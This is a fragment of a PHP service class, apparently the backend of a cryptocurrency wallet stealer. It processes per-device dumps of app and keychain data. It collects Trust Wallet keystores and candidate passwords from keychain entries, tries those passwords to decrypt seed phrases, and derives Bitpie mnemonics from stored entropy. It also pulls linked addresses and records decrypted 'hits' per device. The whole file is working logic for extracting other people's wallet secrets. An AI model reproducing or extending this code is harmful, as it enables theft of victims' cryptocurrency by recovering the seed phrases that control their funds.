}> */ public function recover(Device $device, mixed $wallets, mixed $sandbox): array { $hits = []; $seen = []; $bitpieNodes = [$wallets, $sandbox]; foreach ($device->keystores as $row) { if ($row->source === 'Bitpie') { $bitpieNodes[] = $row->raw_json; } } foreach ($this->recoverBitpie($bitpieNodes) as $hit) { $hash = WalletMnemonic::hashSecret($hit['phrase']); if (isset($seen[$hash])) { continue; } $seen[$hash] = true; $hits[] = $hit; } foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) { $hash = WalletMnemonic::hashSecret($hit['phrase']); if (isset($seen[$hash])) { continue; } $seen[$hash] = true; $hits[] = $hit; } return $hits; } /** * @return array{utc: int, passwords: int, entropy: int} */ public function materialCounts(Device $device): array { $device->loadMissing('keystores'); $utcs = []; $passwords = []; $entropy = []; foreach ($device->keystores as $row) { $utcs = array_merge($utcs, $this->collectKeystores($row->raw_json)); $passwords = array_merge($passwords, $this->collectPasswords($row->raw_json)); $entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json)); } return [ 'utc' => count($this->uniqueKeystores($utcs)), 'passwords' => count($this->uniquePasswords($passwords)), 'entropy' => count(array_unique($entropy)), ]; } /** * @return list}> */ private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array { $utcs = $this->collectKeystores($sandbox); $utcs = array_merge($utcs, $this->collectKeystores($wallets)); foreach ($device->keystores as $row) { $utcs = array_merge($utcs, $this->collectKeystores($row->raw_json)); } $utcs = $this->uniqueKeystores($utcs); if ($utcs === []) { return []; } $passwords = $this->collectPasswords($wallets); foreach ($device->keystores as $row) { $passwords = array_merge($passwords, $this->collectPasswords($row->raw_json)); } $passwords = array_slice($this->uniquePasswords($passwords), 0, 16); if ($passwords === []) { return []; } $hits = []; foreach ($utcs as $item) { $phrase = $this->unlock($item['keystore'], $passwords); if ($phrase === null) { continue; } $source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet'; $hits[] = [ 'source' => $source, 'tag' => WalletSource::tagForLabel($source), 'phrase' => $phrase, 'addresses' => [], ]; } return $hits; } /** * @param list $nodes * @return list}> */ private function recoverBitpie(array $nodes): array { $phrases = []; $addresses = []; foreach ($nodes as $node) { foreach ($this->collectBitpieEntropyHex($node) as $hex) { $phrase = $this->phraseFromEntropyHex($hex); if ($phrase !== null) { $phrases[$phrase] = true; } } $addresses = array_merge($addresses, $this->collectBitpieAddresses($node)); } if ($phrases === []) { return []; } $uniq = []; $seenAddr = []; foreach ($addresses as $row) { $key = $row['address']; if (isset($seenAddr[$key])) { continue; } $seenAddr[$key] = true; $uniq[] = $row; } $hits = []; foreach (array_keys($phrases) as $phrase) { $hits[] = [ 'source' => 'Bitpie', 'tag' => 'r', 'phrase' => $phrase, 'addresses' => $uniq, ]; } return $hits; } /** * @param list $passwords */ public function unlock(array $keystore, array $passwords): ?string { foreach ($passwords as $password) { $plain = EthKeystore::decrypt($keystore, $password); if ($plain === null) { continue; } $phrase = $this->asMnemonic($plain); if ($phrase !== null) { return $phrase; } } return null; } /** * @return list}> */ public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array { if ($depth > 10 || $node === null) { return []; } if (is_string($node)) { $decoded = $this->decodeBlob($node); if ($decoded === null) { return []; } return $this->collectKeystores($decoded, $source, $depth + 1); } if (! is_array($node)) { return []; } if ($this->isKeystore($node)) { return [['source' => $source, 'keystore' => $node]]; } $out = []; foreach ($node as $key => $child) { $next = $source; if (is_string($key)) { $hint = WalletSource::fromKeystoreHint($key); if ($hint !== '') { $next = $hint; } } $out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1)); } return $out; } /** * @return list */ public function collectPasswords(mixed $node, int $depth = 0): array { $items = $this->collectPasswordItems($node, $depth); usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']); $out = []; foreach ($items as $item) { $out = array_merge($out, $this->passwordsFromHex($item['hex'])); } return $this->uniquePasswords($out); } /** * @return list */ private function collectPasswordItems(mixed $node, int $depth = 0): array { if ($depth > 8 || ! is_array($node)) { return []; } $out = []; $hex = $node['dataHex'] ?? null; if (is_string($hex) && $hex !== '') { $account = strtolower((string) ($node['account'] ?? '')); $score = 0; if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) { $score += 100; } $rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2; if ($rawLen === 32.0 || $rawLen === 64.0) { $score += 20; } $out[] = ['hex' => $hex, 'score' => $score]; } foreach (['items', 'wallets', 'sandbox'] as $key) { if (! isset($node[$key]) || ! is_array($node[$key])) { continue; } foreach ($node[$key] as $child) { $out = array_merge($out, $this->collectPasswordItems($child, $depth + 1)); } } if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) { foreach ($node as $child) { if (is_array($child)) { $out = array_merge($out, $this->collectPasswordItems($child, $depth + 1)); } } } return $out; } /** * @param list $rows */ public function markDecrypted(iterable $rows, string $source): void { foreach ($rows as $row) { if (! $row instanceof WalletKeystore) { continue; } if ($row->source !== $source) { continue; } if ((int) $row->decrypted === 1) { continue; } $row->decrypted = 1; $row->save(); } } public function markSourceDecrypted(int $deviceId, string $source): void { WalletKeystore::query() ->where('device_id', $deviceId) ->where('source', $source) ->where('decrypted', 0) ->update(['decrypted' => 1]); } /** * @param array $node */ private function isKeystore(array $node): bool { $crypto = $node['crypto'] ?? $node['Crypto'] ?? null; if (! is_array($crypto)) { return false; } return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']); } /** * @return list */ private function passwordsFromHex(string $hex): array { $hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? ''; if ($hex === '' || strlen($hex) % 2 !== 0) { return []; } $raw = @hex2bin($hex); if (! is_string($raw) || $raw === '') { return []; } $out = $this->passwordsFromString($raw); // WalletCore / Trust sometimes treat the hex text itself as the password. if (strlen($hex) === 64 || strlen($hex) === 128) { $out[] = strtolower($hex); $out[] = strtoupper($hex); } return $out; } /** * @return list */ private function passwordsFromString(string $raw): array { $out = [$raw]; if (mb_check_encoding($raw, 'UTF-8')) { $trim = trim($raw); if ($trim !== '' && $trim !== $raw) { $out[] = $trim; } $unquoted = trim($trim, "\"'"); if ($unquoted !== '' && $unquoted !== $trim) { $out[] = $unquoted; } if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) { $bin = @hex2bin($trim); if (is_string($bin) && $bin !== '') { $out[] = $bin; } } } return $out; } /** * @param list}> $items * @return list}> */ private function uniqueKeystores(array $items): array { $seen = []; $out = []; foreach ($items as $item) { $crypto = $item['keystore']['crypto'] ?? $item['keystore']['Crypto'] ?? []; $fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? ''); if ($fp === '|' || isset($seen[$fp])) { continue; } $seen[$fp] = true; $out[] = $item; } return $out; } /** * @param list $passwords * @return list */ private function uniquePasswords(array $passwords): array { $seen = []; $out = []; foreach ($passwords as $password) { if ($password === '') { continue; } if (isset($seen[$password])) { continue; } $seen[$password] = true; $out[] = $password; } return $out; } private function decodeBlob(string $raw): mixed { $raw = trim($raw); if ($raw === '') { return null; } if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) { $json = json_decode($raw, true); return is_array($json) ? $json : null; } $b64 = base64_decode($raw, true); if (is_string($b64) && $b64 !== '') { $json = json_decode($b64, true); if (is_array($json)) { return $json; } } $hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? ''; if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) { $bin = @hex2bin($hex); if (is_string($bin) && $bin !== '') { $json = json_decode($bin, true); if (is_array($json)) { return $json; } } } return null; } private function asMnemonic(string $plain): ?string { $plain = trim($plain, "\0 \t\n\r"); if (str_starts_with($plain, '{')) { $json = json_decode($plain, true); if (is_array($json) && isset($json['mnemonic']) && is_string($json['mnemonic'])) { $plain = $json['mnemonic']; } } if (preg_match('/^[0-9a-fA-F]+$/', $plain) && strlen($plain) % 2 === 0 && strlen($plain) >= 24) { $bin = @hex2bin($plain); if (is_string($bin) && str_contains($bin, ' ')) { $plain = $bin; } } $text = strtolower(trim($plain)); $text = preg_replace('/\s+/', ' ', $text) ?? $text; $words = $text === '' ? [] : explode(' ', $text); $n = count($words); if ($n !== 12 && $n !== 24) { return null; } foreach ($words as $word) { if (! preg_match('/^[a-z]{3,8}$/', $word)) { return null; } } return implode(' ', $words); } /** * @return list */ public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array { if ($depth > 10 || $node === null) { return []; } if (is_string($node)) { $decoded = $this->decodeBlob($node); if ($decoded === null) { return []; } return $this->collectBitpieEntropyHex($decoded, $depth + 1); } if (! is_array($node)) { return []; } $out = []; $account = strtolower(trim((string) ($node['account'] ?? ''))); if ($account === 'seedphraseentropy') { $hex = $this->entropyHexFromItem($node); if ($hex !== null) { $out[] = $hex; } } foreach ($node as $key => $child) { if (is_string($key) && strtolower($key) === 'seedphraseentropy') { $hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []); if ($hex !== null) { $out[] = $hex; } } if (is_array($child) || is_string($child)) { $out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1)); } } return $out; } /** * @return list */ public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array { if ($depth > 10 || $node === null) { return []; } if (is_string($node)) { if (! $inBitpie) { return []; } return $this->addressesFromBitpieText($node); } if (! is_array($node)) { return []; } $out = []; $account = strtolower(trim((string) ($node['account'] ?? ''))); $extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true); if (in_array($account, ['useraddresskey', 'useraddress'], true)) { $out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node))); } if ($extract && isset($node['address']) && is_string($node['address'])) { $mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null); if ($mapped !== null) { $out[] = $mapped; } } foreach ($node as $key => $child) { if (! is_array($child) && ! is_string($child)) { continue; } $childInBitpie = $inBitpie || $this->isBitpieLabel($key); $walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie); if (! $walk) { continue; } $out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie)); } return $out; } private function isBitpieLabel(mixed $key): bool { $raw = strtolower(trim((string) $key)); return $raw !== '' && ( str_contains($raw, 'bitpie') || in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true) ); } private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool { if (is_int($key)) { return $inBitpie; } $raw = strtolower(trim((string) $key)); return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true); } /** * @param array $item */ private function entropyHexFromItem(array $item): ?string { $hex = $item['dataHex'] ?? null; if (is_string($hex) && $hex !== '') { $fromHex = $this->normalizeEntropyHex($hex); if ($fromHex !== null) { return $fromHex; } $bin = $this->fromHex($hex); if ($bin !== null) { $nested = $this->normalizeEntropyHex($bin); if ($nested !== null) { return $nested; } } } return $this->normalizeEntropyHex($this->itemUtf8($item)); } /** * @param array $item */ private function itemUtf8(array $item): string { $hex = $item['dataHex'] ?? null; if (is_string($hex) && $hex !== '') { $bin = $this->fromHex($hex); if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) { return trim($bin); } } $data = $item['data'] ?? null; return is_string($data) ? trim($data) : ''; } private function normalizeEntropyHex(string $raw): ?string { $raw = trim($raw); if ($raw === '') { return null; } $bin = $this->fromHex($raw); if ($bin !== null) { if (mb_check_encoding($bin, 'UTF-8')) { $trim = trim($bin); if ($this->isEntropyHex($trim)) { return strtolower($trim); } } if (strlen($bin) === 16 || strlen($bin) === 32) { return strtolower(bin2hex($bin)); } } if ($this->isEntropyHex($raw)) { return strtolower($raw); } return null; } private function isEntropyHex(string $value): bool { return (bool) preg_match('/^[0-9a-fA-F]{32}$/', $value) || (bool) preg_match('/^[0-9a-fA-F]{64}$/', $value); } private function phraseFromEntropyHex(string $hex): ?string { try { $mnemonic = BIP39::Entropy(strtolower($hex)); } catch (\Throwable) { return null; } $phrase = strtolower(trim(implode(' ', $mnemonic->words))); return $this->asMnemonic($phrase); } /** * @return list */ private function addressesFromBitpieText(string $text): array { $out = []; $text = trim($text); if ($text === '') { return $out; } $direct = $this->addressRow($text, null); if ($direct !== null) { $out[] = $direct; } if (preg_match('/kUserAddressesConfigure\s*(\[[\s\S]*\])/', $text, $m)) { $json = json_decode($m[1], true); if (is_array($json)) { $out = array_merge($out, $this->collectBitpieAddresses($json, 0, true)); } } $decoded = $this->decodeBlob($text); if (is_array($decoded)) { $out = array_merge($out, $this->collectBitpieAddresses($decoded, 0, true)); } return $out; } /** * @return array{address: string, chainType: string, symbol: string, balance: int}|null */ private function addressRow(string $address, mixed $hint): ?array { $address = trim($address); if ($address === '') { return null; } $chain = $this->chainFromHint($hint) ?? WalletSource::inferChainType($address); $chain = strtoupper($chain); if (! WalletSource::isSupportedChain($chain)) { return null; } $normalized = $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)); if (in_array($normalized, ['TRON', 'TRX'], true) && ! TronAddress::isValid($address)) { return null; } if (in_array($normalized, ['ETHEREUM', 'ETH', 'EVM'], true) && ! EthAddress::isValid($address)) { return null; } if (in_array($normalized, ['BITCOIN', 'BTC'], true) && ! BtcAddress::isValid($address)) { return null; } $symbol = match ($chain) { 'BITCOIN', 'BTC' => 'BTC', 'ETHEREUM', 'ETH', 'EVM' => 'ETH', 'BNB', 'BSC', 'BINANCE' => 'BNB', default => 'TRX', }; return [ 'address' => $address, 'chainType' => $chain === 'ETH' ? 'ETHEREUM' : ($chain === 'BTC' ? 'BITCOIN' : ($chain === 'TRX' ? 'TRON' : $chain)), 'symbol' => $symbol, 'balance' => 0, ]; } private function chainFromHint(mixed $hint): ?string { $raw = strtolower(trim((string) $hint)); if ($raw === '') { return null; } if (str_contains($raw, 'trx') || str_contains($raw, 'tron')) { return 'TRON'; } if (str_contains($raw, 'eth')) { return 'ETHEREUM'; } if (str_contains($raw, 'btc') || str_contains($raw, 'bitcoin')) { return 'BITCOIN'; } return WalletSource::isSupportedChain($raw) ? strtoupper($raw) : null; } private function fromHex(string $value): ?string { $hex = preg_replace('/[^0-9a-fA-F]/', '', $value) ?? ''; if ($hex === '' || strlen($hex) % 2 !== 0) { return null; } $bin = @hex2bin($hex); return is_string($bin) ? $bin : null; } }